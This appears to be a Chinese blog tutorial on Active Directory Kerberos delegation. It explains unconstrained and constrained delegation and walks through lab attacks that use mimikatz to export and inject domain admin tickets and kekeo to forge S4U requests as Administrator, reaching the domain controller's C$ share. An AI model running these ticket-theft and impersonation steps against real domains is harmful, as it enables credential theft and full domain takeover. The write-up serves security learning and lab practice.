本文已参与「新人创作礼」活动.一起开启掘金创作之路。
一、域委派
域委派是指将域内用户的权限委派给服务账号,使得服务账号能以用户的权限在域内展开活动。
委派主要分为非约束委派(Unconstrained delegation)和约束委派(Constrained delegation)两个方式,还有一种是基于资源的约束委派(Resource Based Constrained Delegation)。
为什么需要域委派
为什么需要域委派呢,比如现在有web服务器和文件服务器,当用户A访问web服务器去请求某个资源时,web服务器上本身并没有该资源,所以web服务器就会从文件服务器上调用这个资源,其中发生的过程若以域委派的形式进行,那么就是:用户A访问web服务器,服务器再以用户A的身份去访问文件服务器。
二、非约束委派
非约束委派(Unconstrained Delegation),服务账号可以获取某用户的TGT,从而服务账号可使用该TGT,模拟用户访问任意服务。
例如:
当user访问service时,如果service的服务账号或者主机开启了(非约束委派),则当user访问service时会将user的TGT发送给service并保存在内存中以备下次重用,然后service就可以利用这张TGT以user的身份去访问域内的任何服务(任何服务是指user能访问的服务),如果这里的user是域管理员用户,那么我们便能够得到该用户的TGT。
非约束委派的攻击方法中有两种:
1、设置主机账户为非约束委派,通过域管理账户对该主机账户进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。
2、设置服务账号为非约束委派,通过域管理账户对该服务进行访问,留下票据在该主机账户下,然后拿该票据去写入内存,从而可以利用域管理的TGT去访问域控。
非约束委派攻击
实验环境
域: hacker.lab
域控(win2012): 192.168.189.193
域管理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194 开启了非约束委派
1、开启win7主机账号的委派属性
对win7主机账号开启了委派属性,若我们拿下win7这台机器并且有域账户,域控访问了该机器则可以进行攻击
这里我们直接在域控将域账号win7注册为服务账号
setspn -U -A 服务名称/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7
查看 setspn -Q / 可发现成功注册
2、开启域账户的委派属性
注册成功后可发现属性中有了委派这个属性,若没注册服务账号则没有该属性选项。
3、查询非约束委派的主机和用户
查询非约束委派的主机:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的用户:
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" cn distinguishedName
查询非约束委派的用户:
查询非约束委派的主机:
⾮约束委派攻击利⽤
当设置了非约束性委派,需要让域控模拟访问被设置了⾮约束委派的机器。可以使用如下的方式模拟访问
1、在域管理员win2012上执行
Enter-PSSession -ComputerName win7
域管理员模拟访问被设置了约束委派的机器后,这个时候其实域管理win2012的 TGT 已经缓存在 win7机器上了
2、使用mimikatz导出凭据
以本地管理员权限运行mimikatz
先清除一下当前票据缓存:
"privilege::debug" "kerberos::purge" "exit"
3、使用 mimikatz导出所有票据出来:
privilege::debug
sekurlsa::tickets /export
4、这个时候我们获得了域管理员win2012的 TGT !我们现在访问域控肯定是访问不了的
5、 注入票据:
6、注入票据之后我们就可以在win7上访问域控了
dir \DC\c$
三、约束委派
约束性委派(Constrained Delegation),即Kerberos的扩展协议S4U2Proxy,服务账号只能获取某用户的ST,从而只能模拟用户访问特定的服务
由于非约束委派的不安全性,引入了约束委派,对kerberos协议进行了扩展,加入S4U,其中S4U支持两个子协议:Service for User to Self ( S4U2Self )和 Service for User to Proxy ( S4U2proxy ),这两个扩展都允许服务代表用户从KDC请求票证。 S4U2self可以代表自身请求针对其自身的可转发的Kerberos服务票据(ST1) ; S4U2proxy可以以用户的名义请求其它服务的ST2 ,约束委派就是限制了S4U2proxy扩展的范围。
user访问serviceA,向DC发起kerberos认证,域控返回user的TGT和ST1票据,user使用ST1票据对serviceA进行访问;
如果配置了serviceA到serviceB的约束委派,则serviceA能使用S4U2Proxy协议将用户发给自己的可转发的ST1票据以用户的身份发给DC;DC返回serviceA一个用来访问serviceB的ST2票据,这样serviceA就能以用户的身份对serviceB发起访问。
攻击原理
由于服务用户只能获取某个用户(或主机)的服务的ST1而非TGT , 所以只能模拟用户访问特定的服务 ;但是如果能够拿到约束委派用户(或主机)的明文密码或hash,那么就可以伪造S4U的请求,伪装成服务用户以任意用户的权限申请访问指定服务的ST2。
约束委派攻击利用
实验环境
域: hacker.lab
域控(win2012): 192.168.189.193
域管理员(win2012):192.168.189.196
域用户(win7): 192.168.189.194 开启了对域管理员win2012 cifs服务的约束委派
1、这里我们在域控将域账号win7注册为服务账号
setspn -U -A 服务名称/主机名.域名 域账号
setspn -U -A abc/win7.hacker.lab win7
#删除
setspn -D abc/win7.hacker.lab win7
2、将主机win7设置为约束委派,并添加服务(cifs)
将用户win7设置为约束委派,并添加服务(cifs)
3、查询约束委派的主机和用户
查询约束委派的用户
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询约束委派的主机
AdFind.exe -b "DC=hacker,DC=lab" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" cn distinguishedName msds-allowedtodelegateto
查询约束委派的用户
查询约束委派的主机
4、使用kekeo请求服务用户的TGT:(这一步需要知晓账户的明文密码或hash)
kekeo下载地址:github.com/gentilkiwi/…
tgt::ask /user:win7 /domain:hacker.lab /password:chiza2596! /ticket:test.kirbi #使用明文密码请求
tgt::ask /user:win7 /domain:hacker.lab /NTLM:XXXXX #使用hash请求
执行完成后得到服务用户的TGT
5、利用这个票据通过伪造S4U请求以administrator身份访问win7的ST
tgs::s4u /tgt:TGT_win7@HACKER.LAB_krbtgt~hacker.lab@HACKER.LAB.kirbi /user:Administrator@hacker.lab /service:cifs/win2012.hacker.lab
执行完成后administrator的ticket (用于访问win7的CIFS服务),将这个凭证导入访问win7的cifs服务
6、导入凭据
kerberos::ptt TGS_Administrator@hacker.lab@HACKER.LAB_cifs~win2012.hacker.lab@HACKER.LAB.kirbi
凭据导入前
导入凭据后
dir \win2012.hacker.lab\c$
总结
1、当我们查询到域内约束委派的用户时,并知晓它的明文密码或NTLM hash,才能利用工具请求它的TGT;
2、然后利用这个TGT,伪造S4U请求以administrator身份去访问这个服务账号的ST;
3、这里可以生成任意权限身份的ticket,我们是以administrator身份去访问的,所以生成的就是administrator的ticket,这个就是ST2;最后使用工具导入这个ST2,那我们就能够成功访问相应的机器;通常约束委派多数用于用户权限维持。